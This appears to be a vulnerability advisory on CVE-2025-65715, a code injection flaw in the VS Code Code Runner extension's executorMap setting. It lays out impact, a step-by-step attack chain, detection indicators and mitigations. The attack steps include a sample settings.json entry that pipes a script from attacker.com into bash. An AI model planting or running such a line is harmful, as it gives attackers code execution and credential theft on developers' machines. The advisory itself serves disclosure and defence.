CVE-2025-65715: 
Homebrew vulnerability analysis and mitigation

CVE-2025-65715 is a code injection vulnerability in the Visual Studio Code extension Code Runner (by formulahendry) that allows attackers to execute arbitrary code when a victim opens a specially crafted workspace. The flaw resides in the code-runner.executorMap workspace setting, which can be manipulated by an attacker to inject and execute arbitrary commands. It affects Code Runner version 0.12.2 and potentially later versions. The vulnerability was published on February 16, 2026, and carries a CVSS v3.1 base score of 7.8 (High) (Feedly, Red Hat CVE).

The root cause is classified as CWE-94: Improper Control of Generation of Code ('Code Injection'). VS Code supports workspace-level settings stored in .vscode/settings.json, and the Code Runner extension reads the code-runner.executorMap setting to determine which command-line executor to invoke for each language. Because the extension does not validate or sanitize these values before executing them as shell commands, an attacker who controls a workspace (e.g., via a malicious repository or shared project) can embed arbitrary shell commands in the executorMap entries. Exploitation requires only that the victim open the crafted workspace in VS Code with the Code Runner extension installed — no elevated privileges are needed (Feedly, Ox Security Blog).

Successful exploitation grants an attacker full arbitrary code execution on the victim's machine with the privileges of the VS Code process, resulting in high confidentiality, integrity, and availability impact. An attacker can read or exfiltrate sensitive files (source code, credentials, SSH keys), modify or delete data, install persistent malware, or use the compromised developer workstation as a pivot point for lateral movement within a corporate network. The attack surface is particularly significant given that Code Runner has accumulated over 128 million installs, meaning a large population of developers — including those working in enterprise environments — are potentially at risk (Ox Security Blog, The Hacker News, Security Affairs).

Public proof-of-concept references are available via the Code Runner GitHub repository and the Ox Security blog, though no weaponized exploit kit has been reported (Feedly). There is currently no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog at this time. The EPSS score is approximately 0.019% (0.000190), reflecting a currently low but non-trivial probability of exploitation in the near term (Feedly).

1. Reconnaissance: Identify a target developer who uses VS Code with the Code Runner extension (v0.12.2) installed — this can be inferred from public GitHub profiles, job postings, or social engineering.
2. Craft malicious workspace: Create or fork a legitimate-looking code repository and add a .vscode/settings.json file containing a malicious code-runner.executorMap entry, e.g.:

{
  "code-runner.executorMap": {
    "python": "curl http://attacker.com/shell.sh | bash #"
  }
}

3. Deliver the workspace: Distribute the malicious repository via phishing, a pull request to an open-source project, a shared archive, or a supply chain compromise.
4. Trigger execution: When the victim opens the workspace in VS Code and runs any Python file using Code Runner (e.g., via Ctrl+Alt+N), the extension reads the poisoned executorMap and executes the attacker-controlled command in a shell.
5. Achieve objective: The injected command runs with the victim's user privileges, enabling reverse shell establishment, credential harvesting, data exfiltration, or persistence installation (Ox Security Blog, GitHub Repo).

• File System: Presence of a .vscode/settings.json in a workspace containing unexpected or obfuscated entries under code-runner.executorMap (e.g., values with curl, wget, bash -c, powershell -enc, or pipe operators).
• Process: Unusual child processes spawned by the VS Code extension host process (extensionHost) — e.g., bash, cmd.exe, powershell.exe, curl, wget, or python executing network-fetching commands.
• Network: Unexpected outbound connections from the developer workstation to unknown external IPs or domains shortly after opening a new workspace or running code via Code Runner.
• Logs: VS Code output channel logs showing unexpected executor commands being run (visible in the Code Runner output panel); OS-level process audit logs (e.g., auditd on Linux, Sysmon on Windows) recording anomalous child processes of node or code binaries.

No official patched version of Code Runner has been confirmed as released at the time of this report — patch information is not yet available (Feedly). Recommended immediate actions include:

• Disable the Code Runner extension until a patched version is available, especially in environments handling sensitive code or credentials.
• Restrict workspace trust: Enable VS Code's built-in Workspace Trust feature, which prompts users before applying workspace-level settings from untrusted sources — this can prevent automatic application of malicious executorMap values.
• Audit existing workspaces: Review .vscode/settings.json files in all open projects for unexpected code-runner.executorMap entries.
• Educate developers about the risks of opening workspaces from untrusted or unverified sources (Ox Security Blog, SOCRadar).

The vulnerability was discovered and disclosed by Ox Security, who published a detailed technical blog post and framed it as part of a broader research effort identifying four critical flaws across popular VS Code extensions with a combined 128+ million installs (Ox Security Blog, Ox Security Research). The story received significant media coverage from outlets including The Hacker News, CSO Online, InfoWorld, Security Affairs, and Infosecurity Magazine, with headlines emphasizing the supply chain risk to developer environments (The Hacker News, CSO Online). Community discussion on Mastodon and LinkedIn highlighted concern about the implicit trust developers place in workspace configuration files. Red Hat also tracked the CVE, indicating awareness across the enterprise Linux ecosystem (Red Hat CVE).